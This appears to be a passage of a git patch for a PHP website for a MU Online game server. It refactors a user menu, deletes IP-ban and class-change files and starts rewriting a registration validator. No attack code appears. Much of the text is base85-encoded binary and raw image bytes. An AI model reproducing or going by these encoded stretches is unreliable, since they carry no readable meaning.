zVvnlHeEGfSPmanb_I0ZEh@Y4DmmGjGh-Uc0O06QSK97*@JsN}qZ5yhpNg>`H;o$X` z=N+$CFoy4eL8-k(VYQooM~5%*#$LWG%huJ~g#lB$JAC^ZV$;_49+MwJaF*0-N%USc z$y|+gnF>P+J>FM*{ zV%h+Jz~MD1uq`$v#PjxaL(<15g3pzE@==5n?5OjE#obj-v6Q$cWQh3ADc|&cZkDy5cz1ie$N{%sCVLL zLxN$uKG0%a1?4xUc^KD8;}L|+#=s)J#O*cPIT2}mD#^_4H(wbu z*EToxn{d+Aw!az;|L9f(Osg?){hmYK%g86}o8_6EV!P-w&5_wl6E+trONy0JG+CQj z38U2U&}C4!w6`C;BG!dK+sPjAL%p7~g#1WfrH#}2xFv`kG@cl{TuGeL1s+6WbcJM@Q>n70f3Vv_y02_XHIV~$va~whUs{zc_dFu&-bKfOUhg8P8sX3Mh(QPBGpoC zmP=e;{gl*<;z+mSy2LUr+^Ogi>%j_ON7N z5924+{rpymt6Vu(Ixjks9H)&*B^Zh`ni~7^Iz|vVImH@C1!M3yy>P$c))DLXFw|M= z_l6bZlEz^^uxQ%q(jP3B$&;#57Q(1#IBZokMVQ1L^sdwc_3+ZffHHNMG~WB5QAs07 z);LM8FTcf-HKdFbHqQucKTbtclm^dQagEFo?m2x^igXMrtgp1S$--NEl?h^C=lpaz zSN(!`?hSpqpX~IGU-LqTNm!~i+idxH^3F+em|wu7VkA2%vX{z~eV3HSF5m5^povKK zv7}e0!x_bv6(5;nm$7cJS#x@i@H^{9{LXeZ>&CoyMY(gnWXkV6q|B~d>FO>dbjwQq z;_aqg;SuPOQtE}n5qe-DgEh4HGqm}QELe1aaM&ioy1FCmk30VN2$I%@PlL3NCb2(B z3REiNrTMY{3cX97bh*WslR>%9puCOU<0-EH=o?KB<&6k~18U!0=q#6_;o-J|UHji; z17U45SMf{xS8^WI6YAp!xkGJ8{unOvhz%vME_<#x*}lO*dh+NZ0f%oN&9t=IdZ%TH zFDc^VZMBj11@F~9WUv26lakqDqu&N!D;Nr&V$YDQ@Qox0Egbn9Qe6N!@)ThYYrY0b zSiw+&^XTW0o~vo>QSpc(tnJ>`gEOJ7iEN!T0S{pCBM?aA`p#52)^W?FEsl)+s9pT~ zXvuB6?37S5WdRb)jgP?6#$t?|S7X+UkNFydRV7)ZLZfn_HFRfl9lcE#u7)x>(BMGb zJVqYj&=bcR^-8V97RCGD3CXI;8BvVSFpKfU_{2zlZ3f(2xMgBpfc)0s7 zZ->rRbdU?9k{UI?rtV*NAY#1sXGU8=v(E*|@}?=H>fW8-n>FAEi?l1><-b{`S~^IU zPfAyoe}jot7@Z!759OApo0?;SlfK97vE7|+_{m5;A>Il1F?XJ! z!~JS#(9mAaI6UT?kQBaE?s%=YXSE#>ML@R^G!-ha)u?iCpx#CKF%6ayFdp2#myuPn zhop78{$P?VJGI6A-c+iz7RNeJ%v67L60NCh+PYFbp9bKP;-`O` zocmCZ?5dDlz8^I?MZx#SIZkj;)GmV~5kgx1cL$tZxDzHzGe5NpM{GoCokO_$?E%11 ztUyu_C9p7m)z)>XE~7*93ACbqP4}}ZptP9PPEHA>tcA}rb7V$qqpyOXmhbNyxk#b32SLQ#WtvDdNS?SKPK0wF zvAjM{iwT6O7Dy-+YV}phsku{9OUF`nq4;wK5JaRA6+)*Jv4``0?F~dlzqx8W_vZN_tSIL5nZtZ+`#!Hds73-A;}1DL36GrQ z;5QxI&ys z6s&e^8reRepOsJ&H(qOT>-5uA{avQOM)q(pSo#)wJ~_E4sz)*C^$OYe6 zgp$JUw{D}sq%&5WohdE#W)m}?{83r3P>{{)G(IMBr&(I~_xJ`O#lJ*`jsHnKypzce zffBA3Nd7+(Y1#0BHf{EZgI*XalO9$N3GdAeonoZhg97RR^poF<9fnA9;l?~)se9Q)i>FJZyK zmM)9Ghs28Zy0P{MKe+v1k~hD1S```_SB58{1zOoU+Oz$VsgH^e(bf|CC|#sY!yO?W ziHjxpq37SywYqXtp!gG87`3zw%M)D;7G6 zP9efuk0aQdYHbbi;8Y0Ng8h(*i2Ge)61I1Ri<#1@)o7%bUm(gbx?|PN!nD}&6Lrpt zU<)|ggRCtzGWV$_Mq&8#Th&W8wAFbiBBX;94n}Asf|Mu6FXwUj^IE<#U|Y*BzT{FadiiVdMuutc-NXya z8TLQ2o3{NWRxj)%HG4MmryExElo{!|pSp=Im-gL<-aD1ntKY^8oh_(>gNXf4aNErxZ*oD-f!uC5)op$*3o#9Dzdl*+>l4fYU*Wjx128^v(3kCD;p$DOXPDn3#MVFNf>e795PGR32e?xSud6;kh1KD~3x06wAZ3W)zdBcJixL z51;Uo;|NzuVy%he2yJ4F24yrO61*bmWrGW$`m< z3^shPwLv3nb#c-@H2N%DxR7$C!rVm{aHzLP&(_W4a&;)JPlJ}I#tstOawNnFE?3X@ z@I4ptjPh$K9X#K+lx?n$MgkEA!|?Fn_~kq%$P;@fqh(k-3z$*hCAq(b1^^v z)O+Y?$(p2^Sr?F)v>W5U#%g53nXbP2?GnU z7X~4Y6A;CkSb>x$SVF3$enjV73b{0c!vR69L>vbeLCJv7w#`NZGOjRp&Jr3XHV`CO zxhqzz!1aB!6a-O>r$RsxD}`esN|g~}9Z`#FXep`Gsup$U_t4jy`(FPxZocJa1_y`9=5k}8_riedd9*aO&~yAS zL9CJ#ft^EdUq7Dbj1{1r$nOfI>sT+Ho6mp{kkh3i?Ojb}k@Yv}0U z74P^9c5mFx!iz8FiWmKF8uEgbU-}nH#XpDvTX=?-2z^jrRH-&6e9^z-4LJWlp?e}kzOa92M`U#*8+KE=q^9q2eZ=hy$d z!17hGLg-PXBx74UlqDJusu8syB#0uyVAKFe4jede;xgAUBO`+}warS{TLeP7IMT&+ zJ)~F6P( zOUn1id4|`$>5bg`$YVq&;Q^;IDU>lpDkg}+F&&kTDOQUNmq!?>mMB+C)T&jK)+}7O z;H>sHmCB-|#7{fq@-CU2kMt#u=Ye$4!bK;b5|M$x*!H1QSciaerNTuQU&v=a^I06% zwJ%cAK?;lO+tS)bE}th>1}~jDB~p>fq%HE%GhEtH;`32Z3(L$WlESa?%XwV>+>@6L z^<*x%>@@k->9e@?o$uw}A6!XuT??(*I&OH&U(#{mO!ocqE~;@auexp$`8U0pOWylI z$}hc%fyO#6m^7K0-}p4w)D4lFHIr-Y+zFv$1qcl2Js7NOS+lpE(Bn(2Lz_yk|VKiD0e9F_) zy@T1am$P8*9HOv99EUhw3fHqmF~WrSYM9r&=5=h?vV$krtUVQL*C+y|33Y@r5wTV% z9TTaDN>HL2l&RDzRB9C)`bGU-6h%=Oj_GLmSgo#FDS~Q15Y&i*fLgUm7)G{*C{c2B z{NCfcX>FOx1q&7shGoJyM0)-yI=X6zSH9vE>^*Rl#~xpKYWQbT2VqjhtcZwpY<1Kz zm7qkWR;F63P_CA#hP8yV_3ZZ7_k2*=;sZmQeWc5hk z5bZnSYhU*oKK_YMptS7?mX1S9dpm_f9iH#wxRP`#g*>VCDV@pS_}*z}LkMB%z z3+S$IV#}I6WcUAucixf1op%8g)lFxd=Z_{Yj~${6 zw9juKKCqe3Z|>)=hxZbtG{%HPE7zgcZK1SzEwh^hol`r`i}gP*uzat%@>Xk1BTLz) zwYF$Qu_mYm2-mftNF;F_<2%lYe$M1sy7U5idv@>-?|K&xJp3Sc{_IzjMtTqeeAl6+ zzK&_ruV&50eLT7L5tc1mcFOOMj0_QJjYboz2#rA-g_~6O#<4X#M#!X<$DGnf`CR%& zVFcPFhBUT)ug3Pj)@mUhf@;m`7)24TD-lAR8dlXY>(@WXr$6#x);zt2AN=?iloK62 z*P*Gdz_jUCvuWosR)6RFr&QamSh0fPks%_bFeqXjqm9BCjWmw^Y^_l$wsQzW>xIj+ z^Tel4pO%mcoO&c3&qKH_2x-fQ62pd+$dhu!0)gYXwm&s_{`#-}oWcG9KJt-|GHJ>b z8XFrxNPO4BaU4?V6gzjFU>)+)KEjcwwfflpW``u`KIRRZlitk6FY|Hvb4A|qeX?!s zEM3&bysPGM+Z!(-8)Rv0n!|$+JwW@uUXBh8Q@3Cy?Typua6P`cV;BAKR#fZ+yQ#f+?&^fvO?)h+d!Z5;ULmXR%6{9U^ zd=y6nwE*Kpgkgv>E|H4K<}$Vg<%WhOyQRgK0z%E$fnX%Y9U*8 zZDDAz`;7A$8XBNdsbDau#LyT4S}UqymDu%AI);SlL>R;7EnCi7-zbRCv9?^UC+TS0 zbOK^+2!a5OOBl!GvT2SSK786Zl}d>p{QT#<@?|e(Li1#P_1iU6gBtm4mZ6a%+jnng zaPa6E=QA`kK)F)E2v8=;Qw!T`TMKJwG)l(^;Sk5R!uM>ke5KJDfR=Ov=cmUT+;YfLU_#*Lu z5i+4{8;g%15aXBmxcncayp#^9e4Z6oUq?3Wk(<)NgiDrFnAD1jHC|MqU1XW+%>ZBU zkm(HY8pXYU3T1l-r zKtt<1qA39j8mBRN)*+sL;!$d~+Bt>g>z)sXr&PQiFD+1 zV)+Vzk@6G+XD#EcF_e(S-pNE zemaBaxp+wnjN_-q*kXhbl&dv{i#4j%;51_@lDP>XElnT-jikAydHgaTm;e7%-tm0) zA3Vgo3ooZ>;snwyO*G7zM>Z!|IxowN*;DYnR&q`b;Wl$@V1U+=p}C`#2f9XhV$()S z8=k=A>)F3$J%dMg(lX-?j_m0|l>6BH&F>)^U8YR;x#HrBnA1?;Sgpvx9UJMn>sz$X zxt7E04=@n8{CetAF06)JziutrscD|xF%c6T<;T1B^D1uHJTj9Pi*oY}AIufP6OgL?$1f+GsApYGo%GpiqcNP&QEG@{ zg%p;I9U)L!;TQu#vTohl=N#V}RB>7>k#r=|OCdcMw2R|;NYA5MtI{@MHp6Ab@W=?4 zUNwi_uALN1r*qi~1DQ+~Kb^sKTs+S~qiLwG<2~|*j5jV@ymZ){{I#EORu`oNjtxy!7q@)|+Y4R%?9O}WucT;RI+u>u&EV&6c^m83uHu%r z{RO!R^C<5>#QwWhqxv>8f96G8uy6$;fZf0NHg$`aa`ZEw;RZcIP&&-vWBoAD!;RiHb;E+Ug@AhqWJ4e26NCbv?^<`YI_9STbpyhw^0kkBiAN*IFTI+P-a~}NDt^;+y0@;RY35w! zz3|Okbj2m?dg@VzgNV)F`62H1#}Jc3yzM~ACtWS^D&aA)ae#HpUe9IzAUAhD!SRW8 zEa?_}rmxD@LJNiF4r&9(h=Lv(J13I9_LWSSypX}qei+%+&4fCbId3vYpOHsB7xwr3 z!17I}DGtSiQADf_QW#qt6vwt$#u(x_#8a9mtRjS_rK$0GosY!ejNaoWxqyuxqd2qt zatT|B()elj_adjR1_4IJmf=Miq_jm(N=24uRYt@rBvOj7Rzsj^Yi)jB*MI-My}0sZ zND2$4VT?v;g;3IhEeMTP3Mb_}16<;F7;E96#R&lVv2_(7Jr~DyF+w6d2iGs)_<05g zhitX9vBo{r4nw7YFbwfe%CEYfgX?>^u8VYCl!{5^8tLon<@m-eHgat&Ornr!_8&RU zHK+Kec2CWizUDMi_ip?{6Q+sT{$i4&!GV zSTtn`GnOr&ZEh!xF64ELf8jK=>(Mnh%+9_d{*YoI?4$qK5K}v5(Q~B6V5yruI}Q=L zg2C1Xesb?!3_W-^kIY_*dDGuey#G-K?;U1ZbIAJUyU6+}S{E;aY>f@S{62%lp ztAKQuKnxGEBi)F3!ArO!yq{Oycq40vnz{R~o^x)0&v`806)RQ{1OZ{FQCg!>pf%c9 zZ?#e>5gS{u;e;fB47u z^U06@%UDR=0^7R?*TM?!-?@iS3F_M>VYDqAGYQI8HK_3q@Bb)Mr_SKIYc7ArTqN3n zlX&Usr112(u^5;CAIYy@&+N;t;7?zE3yw37fvMBU)j2e@cwDt$J{u=YV6ddf)j2db z=9v~$ail}&7=mn;NNEmq4{>PsacT#;pn3o|mE$*V$okE_w7N&h?_EbzyqjY^nt_3S zjtuN0+jEQs?|M5;6D!;>&nKSoMs`*o=d!~&wjOy3F}E2RL=26LAcB~oV`;WMzJZ>` zNjNP&aaAyN$pTso>|L{(-I;o(9O+^HFCOEe{58D5ts%o-D%l`{E8p9vz% zR2q4xxxhd;h^Gr&_SbLX*FWf>_S;olwcKUVvP;?W^y+hJf6ogn-yoy=ga^3ZQ9ye`TKYM&8Yi}FvyL@b))x{hWG=4{m08?J9OWwu#*%_tPn1iGr@H{)mw&i@9{45|-LH64{RH+mXBaM|xvRxtO{txhiETuUY3PBq8+H<3cQZe~JHy_uf10ar zzXsRycyjgXb7FtbXi(3^!x=^qVH6W9Wl@5XwvJdulqy9u768EsUBa+R#)nZy==qw@ z%$YOTw`V6x+oGh=@)c`9bz%TUi+L2_+HmMI4C=FuUsqpGb>Ik*iilN=6auX^N=KBd zMGz3jF`nxZ1T}nN!@|$!`U_z%fLQ61gTA)1Sy?<~YhtFv`T*txneGVSj&!Gbc za9r0Ker-+(;hH2jT*&1)bl@Ow`P0AP?w|gUbUJfV!IbsRjj{v`hYlScHx}dazqh>O zx=f!wgKMr`&Z}0u5TKJ!@cnf~5O#kt2Bo%z4$tpt>6j8CU zMRwH@Dp5!%JTM-vj7jN`w1k$MZsw|`Gr25S$C|lagrVTFM{i|7Y@pNa;X(sHsB`fS zZ|ADmVfE7w^W}Sgz*RdZaeSnmLnHe*vaZUsWoeF@J+!o0;|Q*D=(!o}GKktX;F_oZ8>>0?RjuL+hO>g)$a~FpgtX98#;5 zFxrMj9nU3-LPQ!I=lNv`5ke-$z$E!LgD@H$lNcL=($<^ODlw?8gy1a0+L6^!DeD>9 zyl{+)BWl$W0t*QkIxb;UBjpMl=lLbS7D@l-XtC>P8c}P7QWj|5($Yyx9Ak`!>pEwL z<*QUejdrS+>Ut>#`g_>?^piwE4cB!c0mzqVTNos*Q8h{EHetErUGMp4IwrPLS6|10 zJ$pI4e=kxvmJKNJs7EW6RRXlHwZ%x5(qaAT$9cn>-pWTm^Z|Uw9eb+~29z==CD^=q z^SH4Xm;b%wo0~g%&CR#4WWfx2C${m~rw*|4Gv8qKlfOaj-HngNF(DF&frboZ1CIt1 zQ81t-v}d3`Qzqp?*8prv<+(PKXHxbk!@7?9wBUxx{Y>fp8Xw;}mF3hxOEwAagFsotpw>5zi=HY-QBcIpU8(BT)uy} z!o9T?f^-J%Sw~R6h{nY;87NGncK878H($+xzkM&;Kk|MG9i0pxId?!F-1Ffu8yynH z5n4wC)c~bz<*b+T32GJM$TEXS~f}n;{ib5feF_tUU z_H5dGqanq~`1sG+r)eU>I7VwltyUY;F_rQO1B;uhwL-ccQ5Yb-Qw{3#l5lrD9LHMI zI6k3cKA*>6J!Fi*2#aZ~jmM;pNeq`O&pCd%QckL8#YtIco20E3N0>TgI^DXYq_CuH#d3wue&rine);8ij>DWeb8T@`Qk`t`z-Fws)S@wAi2|fV7(?H{ zAa~w%4}L0*C&3YRd1f8z%{y=@!A z2e!~MQe=^USp}Gq1EpawghMiorjCo#A$h-qPD2<-re<8)TU-Vz86N6v=gOnKOrO9IiwRmW$NKJCKce2KJ|Exqcpv=_&Yq53%(-cTt(QoM6^MLxq7C&qjkT1_ z>72mB2cM!?8lkPdgJnw=F=fhhe*4hF9PK_tTk8bEpoUa&QXq7KHRbtQ{~6P#v2X8g zlrngp%aSD*vUt&A4jw$nrY&2jD-=yu-zjz6Wie*;dnj2~&*GA`+fdD>^rrR2lj*wQl=Yl@0jpsTx!L!k#w zo=7Vq5fhC>%f%tWyxhF$}02M@A#pv2d6S(-**q|$>VpfG0vYSv<+;fVHPKPh79cc=|(Zthrw z-%wyMXK*J?V^YTyhK}yzz=1s|W!PJa&bU5L9_bqUdO>@d1#|NJwlPn*yN{_2DWFz$p7ryWXRr>pj zmMbn^O83Db>K9I=VZYCdygbLZe3M^Z{$ZwGP{*NrV8Z-)aCq+@{CPO1v3##sw16-g zX3L?yeB(QJQ!Q2ayTAWG+Qd z;rICXNB@Pt{Ofn|$$$GdKKaQ{(tYe0zMn=olK%byT3T9cST!N`7AL_U{;u^5gMhtz z_lO#Uzy+WX7__mhFb)z#QVX1Trcy|pQNt?* zPArpRCxsUqqyy4*?dQcdXZ@DH_$$hl5)VK2IQ31<7$fjJ5C3^?O&XU!zvPRXH!za4 z$*o(rj#Qz*#Od>?&o^N5S%iW)ol_7wL(o$u3}PbX6O{+a*9N%tk{9Aut26|?gkFj; z$Ptm^&~bs_DE%o2XI@M+63{ilP*uh`c0jj0{9->j*#EIydBz?_Hy7tC&<~zu_@Uh8Nj{ocf+;=bwm2P}bKa;a!9Lx9l zlwUBVlj$AJeD{H0@ptd}SAO)vpYqwy{2N0Mt@{*B-{ zv3#$+Xa(&BpZ|E|asJOg{42ly)dPI$Qy-_luMfv@$0}l7&!vVF%^7B60!u(oho zPv?I}-zzV_oF%ho@y$Db$UFb$uUWG6Law>$Y94+3F+h+`XBjnRvDWnW_0!bSj7-A5 zqgp=KdX`Ir7LdVpIovzU)&pJSQmL_OVq1kPlFI1>t6tbDU)zpkAt6TblQlLiYJ?4+ z*-9lq3S0~(DS|oyB#{&+p^=W0;BXjX2~Mm@=W_hjyWWFRA7 z?sMh`~q@h5@CaGUX%P z)Vzp%UXV?-FW=T5TO1b)tQ|3~xjT$f80FX9Kk_&GP;bR)%bjhk=1oiMDCN@d2vkU~00V?80I z6a$09)aN~0Bqg3b>^y(w3@%?hkB@!h>nywY2EOvuZ}8A>?n!ja+Dc(#Kw1hn>39qc z4YFhB4jKx18}9VH|Izwia`DAnwsu;(ag&$nwf3c6qe!K42S6EKDomAwdw8LK?D z?MXJbDzWBOBZOmnSCi1MFa~Li1)+dZU`0&m;rk$B+ehpOs8lKx@;UzcZ~qqYsZa9w zs@15t{*)Z*xN#Yme=d0yh726o%fNxX6e>j?cxo-eamX|@kguyFU)R9#ks=dj&SGN6 z1R6UgvGl@=X=!evvEY*nHDOf{85a{rboVQY!)1bML@jo}HHd5@uIG~}__WSWlT91q zD6~EDp+eUy2Eu^hNKwjoWSV{0S0b*q6PXmVJ0dP#)WM$pAu2n<#3^}}X9X&TJ;!_b z^f$l8&%gW?=Fgb%KVF}a1AD3V>}LPwfK+>qtxYxVJG2*;wsXU9H`B_;*gyROn%?kA z;tw8VWO(ooc7Ic;6mB}5KBo?+sa5!^x4o7Rf9=b}+TqdP+{=+e2gzj8xWZtBLX2X~ z3J|XKVjLkUjr33}3H&8fm^y7Lul1w)4tAx{`nS`j-h}!^($$!{I{*$Y#HbjNu=8lMj`d-G@jGQ@w2R^o;szISG?i{JpJ@NRO8qh=TX9Vr3uX_p}OsPRa)8B z6|HTbueJd8Dz?VdRy|v9KIVu7FAn~sgpd|FD|C^Lx+em_~_!UBsN~ORn z(bD2FIM{OvXY9Cf8JGX>$Qz}o^!HQg@8_N~$k#PBbJ?Yr<22NfscWF2t%dsbNwjuO zLONLrjmJdHm-3I$m|lEqv|=KVx9nP{?IS zrxg?0I|zb+lsl@Uz3sKKVEb`ob@Y8ftyZBHxnmyc@4NmNU3ejvELzC+Jv-U7b2pCg z*uG;oDL<2hQmt{ZttQTCy`zq_yrspeIgQBu+2#}K6i0`f2%`w_Fh-&DDBuDKi_a)y zoc%hE>`R4G3Z1mrs05%vVa8CKEMu!8)*6$5QYeEZrBB*yw9#l~#(+4qwtv)Uan+cC z4shKpty7m1mWv3v>9nxkxUm?Qe?H}BPoGBL@h&*tb!N{fmnYxQNGg{nlgqR4f+ciJ zn?SzwLG}O7ot|se(%m_**gO)M*)G%(^qx)FM{=;4D?>a=^ z>H*gO?ECE4yoOrY(mUStqL&g!F@rrvpErGXKYkyrol{XWU&yBI85ZOVY?ytFZe~EC zg`wZx%lt8k+zI%f{g&fVKj zlaGQyqTg$L>rM3b_5Zi#6UGrwJd$8bs{g*eaU7jd{&;Wq@0?Gu)OXhFId{&i{}wAs zq+*7O!=%&x|7gGBIQqTh5AE4{n*6}A1Hae&2afOmz2u91hkq~m>hQ7g%Y0n^oRkl1 z77T`7`+sdKR&em4`v7Q}w}=hJDtJw>>{i&;$Ur!Zw{O>&F}?jYuVv!Ag=|^3<^PH? zU9n;X_1jjm{2iCEe&$>%Pp*dUdc^LHOwzj;xa2BYXUrKhsDEhdA4L)3$}6ulaU3U* za<*8*an4M;HU5l0Nn{1`6_P!Id>I(3)EF2VS{N990fib~Fff!FFfhDIU|_JC!N4G1FlSew4NxM~ z)5S4FBRKib|Nr*P7Y|&#IFWJ1!&9xoM;5fTv9YtWpE7Zn)0QK>iK9$Px#1ZP1_K>z@;j|==^1poj5AY({UO#lFTCIA3{ga82g0001h=l}q9FaQARU;qF* zm;eA5aGbhPJOBUzG)Y83R47wp({T&%ghif-G0|vt2*Qz>s~KA^Rdj-UWu-i_ArrSPOydiwwEvL1g}Uhv`ol zvd+6K`t~c=f{ZCr_2(IDh|NlUQrVTFg_dn1(|No~hx{s{k&;S3w@!Io0W8Q6K z4M5{DEkUs}YtD5v4fuWXJA3w3PWfnvrwN!1cIxlknHMKLZ*U+IBfRsybQWXdwQbLP>6pAqfylh#{fb6;Z(vMMVS~$e@S=j*ftg6;Uhf59&ghTmgWD0l;*T zI709Y^p6lP1rIRMx#05C~cW=H_Aw*bJ-5DT&Z2n+x)QHX^p z00esgV8|mQcmRZ%02D^@S3L16t`O%c004NIvOKvYIYoh62rY33S640`D9%Y2D-rV&neh&#Q1i z007~1e$oCcFS8neI|hJl{-P!B1ZZ9hpmq0)X0i`JwE&>$+E?>%_LC6RbVIkUx0b+_+BaR3cnT7Zv!AJxW zizFb)h!jyGOOZ85F;a?DAXP{m@;!0_IfqH8(HlgRxt7s3}k3K`kFu>>-2Q$QMFfPW!La{h336o>X zu_CMttHv6zR;&ZNiS=X8v3CR#fknUxHUxJ0uoBa_M6WNWeqIg~6QE69c9o#eyhGvpiOA@W-aonk<7r1(?fC{oI5N*U!4 zfg=2N-7=cNnjjOr{yriy6mMFgG#l znCF=fnQv8CDz++o6_Lscl}eQ+l^ZHARH>?_s@|##Rr6KLRFA1%Q+=*RRWnoLsR`7U zt5vFIcfW3@?wFpwUVxrVZ>QdQz32KIeJ}k~{cZZE^+ya? z2D1z#2HOnI7(B%_ac?{wFUQ;QQA1tBKtrWrm0_3Rgps+?Jfqb{jYbcQX~taRB;#$y zZN{S}1|}gUOHJxc?wV3fxuz+mJ4`!F$IZ;mqRrNsHJd##*D~ju=bP7?-?v~|cv>vB zsJ6IeNwVZxrdjT`yl#bBIa#GxRa#xMMy;K#CDyyGyQdMSxlWT#tDe?p!?5wT$+oGt z8L;Kp2HUQ-ZMJ=3XJQv;x5ci*?vuTfeY$;({XGW_huIFR9a(?@3)XSs8O^N5RyOM=TTmp(3=8^+zpz2r)C z^>JO{deZfso3oq3?Wo(Y?l$ge?uXo;%ru`Vo>?<<(8I_>;8Eq#KMS9gFl*neeosSB zfoHYnBQIkwkyowPu(zdms`p{<7e4kra-ZWq<2*OsGTvEV%s0Td$hXT+!*8Bnh2KMe zBmZRodjHV?r+_5^X9J0WL4jKW`}lf%A-|44I@@LTvf1rHjG(ze6+w@Jt%Bvjts!X0 z?2xS?_ve_-kiKB_KiJlZ$9G`c^=E@oNG)mWWaNo-3TIW8)$Hg0Ub-~8?KhvJ>$ z3*&nim@mj(aCxE5!t{lw7O5^0EIO7zOo&c6l<+|iDySBWCGrz@C5{St!X3hAA}`T4 z(TLbXTq+(;@<=L8dXnssyft|w#WSTW<++3>sgS%(4NTpeI-VAqb|7ssJvzNHgOZVu zaYCvgO_R1~>SyL=cFU|~g|hy|Zi}}s9+d~lYqOB71z9Z$wnC=pR9Yz4DhIM>Wmjgu z&56o6maCpC&F##y%G;1PobR9i?GnNg;gYtchD%p19a!eQtZF&3JaKv33gZ<8D~47E ztUS1iwkmDaPpj=$m#%)jCVEY4fnLGNg2A-`YwHVD3gv};>)hAvT~AmqS>Lr``i7kw zJ{5_It`yrBmlc25DBO7E8;5VoznR>Ww5hAaxn$2~(q`%A-YuS64wkBy=9dm`4cXeX z4c}I@?e+FW+b@^RDBHV(wnMq2zdX3SWv9u`%{xC-q*U}&`cyXV(%rRT*Z6MH?i+i& z_B8C(+grT%{XWUQ+f@NoP1R=AW&26{v-dx)iK^-Nmiuj8txj!m?Z*Ss1N{dh4z}01 z)YTo*JycSU)+_5r4#yw9{+;i4Ee$peRgIj+;v;ZGdF1K$3E%e~4LaI(jC-u%2h$&R z9cLXcYC@Xwnns&bn)_Q~Te?roKGD|d-g^8;+aC{{G(1^(O7m37Y1-+6)01cN&y1aw zoqc{T`P^XJqPBbIW6s}d4{z_f5Om?vMgNQEJG?v2T=KYd^0M3I6IZxbny)%vZR&LD zJpPl@Psh8QyPB@KTx+@RdcC!KX7}kEo;S|j^u2lU7XQ}Oo;f|;z4Ll+_r>@1-xl3| zawq-H%e&ckC+@AhPrP6BKT#_XdT7&;F71j}Joy zkC~6lh7E@6o;W@^IpRNZ{ptLtL(gQ-CY~4mqW;US7Zxvm_|@yz&e53Bp_lTPlfP|z zrTyx_>lv@x#=^!PzR7qqF<$gm`|ZJZ+;<)Cqu&ot2z=00004XF*Lt006O$eEU(80000WV@Og>004R=004l4008;_004mL004C` z008P>0026e000+nl3&F}0003iNkl&YM07L|KAW!6D)^stR-Xtk%OWV0yCq0cvfUUy{5{(J7z| z3G$bTHtkKy3G^$;olDLMb|y5EXC{Eu`#gA~?p*Ss36OE;CPbi=+?pWjUL`U%flnm| zrj(oy6dDgEbuUXdH$g0gXr{`urB4P{B(uyQyMtPmNS0l+t-I_Y*^imzy!WAcn2=0* z2&p@BZqiLuPIJlm-AIo|DY-R)*xGFt6i%?ch;G-Tl$;kw6`q{7u3?N#7+*`qb(inx zRTJ7S+nYd7LvwprsQU+Zv*{+P)@EH3xP&pr7-Nhve~2%##u#IaF~%2JV~jDz7-N3L e0{{U3{{sMXlLBbXDH&q`0000"; - - echo "".mmw_lang_character_panel."
"; - - echo "".mmw_lang_mail." [$msg_new_num/$msg_num] $msg_full
"; - + mmw_lang_hello, + 'character_panel' => mmw_lang_character_panel, + 'mail' => mmw_lang_mail, + 'account_panel' => mmw_lang_account_panel, + 'ware_house' => mmw_lang_ware_house, + 'gm_options' => mmw_lang_gm_options, + 'logout' => mmw_lang_logout, +); + + + +echo <<{$_SESSION['user']}!
+ {$rowbr} +HTML; + + +// Character Options +if (!empty($_SESSION['character'])) { + echo << + {$language['character_panel']}
+HTML; + + if ($mmw['inner_mail']) { + echo <<{$language['mail']} [{$msg_new_num}/{$msg_num}] {$msg_full}
+HTML; + } } -echo "".mmw_lang_account_panel."
"; -echo "".mmw_lang_ware_house."
"; +// Account Options +echo <<{$language['account_panel']}
+ {$language['ware_house']}
+HTML; -if($mmw[status_rules][$_SESSION[mmw_status]][gm_option] == 1) { - - echo "".mmw_lang_gm_options."
"; +// GameMaster Options +if ($mmw['status_rules'][$_SESSION['mmw_status']]['gm_option'] == 1) { + echo <<{$language['gm_options']}
+HTML; } -echo $rowbr; -?> \ No newline at end of file + +echo << + + + +HTML; diff --git a/includes/banned.php b/includes/banned.php deleted file mode 100644 index 0168f0f..0000000 --- a/includes/banned.php +++ /dev/null @@ -1,19 +0,0 @@ - 0) { - $banip_base = file($banip_file); - $banip_num = count($banip_base); - for($i=0; $i<$banip_num; $i++) { - $banip_row = explode("|",$banip_base[$i]); - $banip_ip = str_replace(' ','',$banip_row[0]); - if($_SERVER['REMOTE_ADDR'] == $banip_ip) { - if(!empty($banip_row[1])) {$reason = "
Reason: $banip_row[1]";} - die("$sql_die_start Your IP is Blocked!$reason $sql_die_end"); - exit(); - } - } -} -?> \ No newline at end of file diff --git a/includes/change_class.php b/includes/change_class.php deleted file mode 100644 index 47f9eea..0000000 --- a/includes/change_class.php +++ /dev/null @@ -1,29 +0,0 @@ - \ No newline at end of file diff --git a/includes/character.class.php b/includes/character.class.php index ad20c6a..169a171 100644 --- a/includes/character.class.php +++ b/includes/character.class.php @@ -1,937 +1,264 @@ -'account','label'=>$die_start. mmw_lang_invalid_account .$die_end, 'type'=>'text', 'uname'=>'true', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont'=>'alpha'); - $elems[] = array('name'=>'email', 'label'=>$die_start. mmw_lang_invalid_email .$die_end, 'type'=>'text', 'required'=>true, 'len_max'=>50, 'cont'=>'email'); - $elems[] = array('name'=>'password', 'label'=>$die_start. mmw_lang_invalid_password .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4,'len_max'=>10, 'cont'=>'alpha'); - $elems[] = array('name'=>'repassword', 'label'=>$die_start. mmw_lang_invalid_repassword .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont'=>'alpha', 'equal'=> array('password')); - $elems[] = array('name'=>'question', 'label'=>$die_start. mmw_lang_invalid_question .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont'=>'alpha'); - $elems[] = array('name'=>'answer', 'label'=>$die_start. mmw_lang_invalid_answer .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont'=>'alpha'); - $elems[] = array('name'=>'fullname','label'=>$die_start. mmw_lang_invalid_fullname .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>2, 'len_max'=>10, 'cont'=>'alpha'); - - - $f = new FormValidator($elems); - $err = $f->validate($_POST); - if( $err === true ) { - $valid = $f->getValidElems(); - foreach ( $valid as $k => $v ) { - if( $valid[$k][0][1] == false ) { - if( empty($valid[$k][0][2]) ) { - echo $valid[$k][0][2]; - }else { - echo $valid[$k][0][2]; - } - } - } - } else { - if($_SESSION[image_random_value] != md5($verifyinput)) { - $error= 1; - echo $die_start . mmw_lang_correctly_code . $die_end; - } - if($username_verify > 0) { - $error= 1; - echo $die_start . mmw_lang_account_in_use . $die_end; - } - if($email_verify > 0) { - $error= 1; - echo $die_start . mmw_lang_email_in_use . 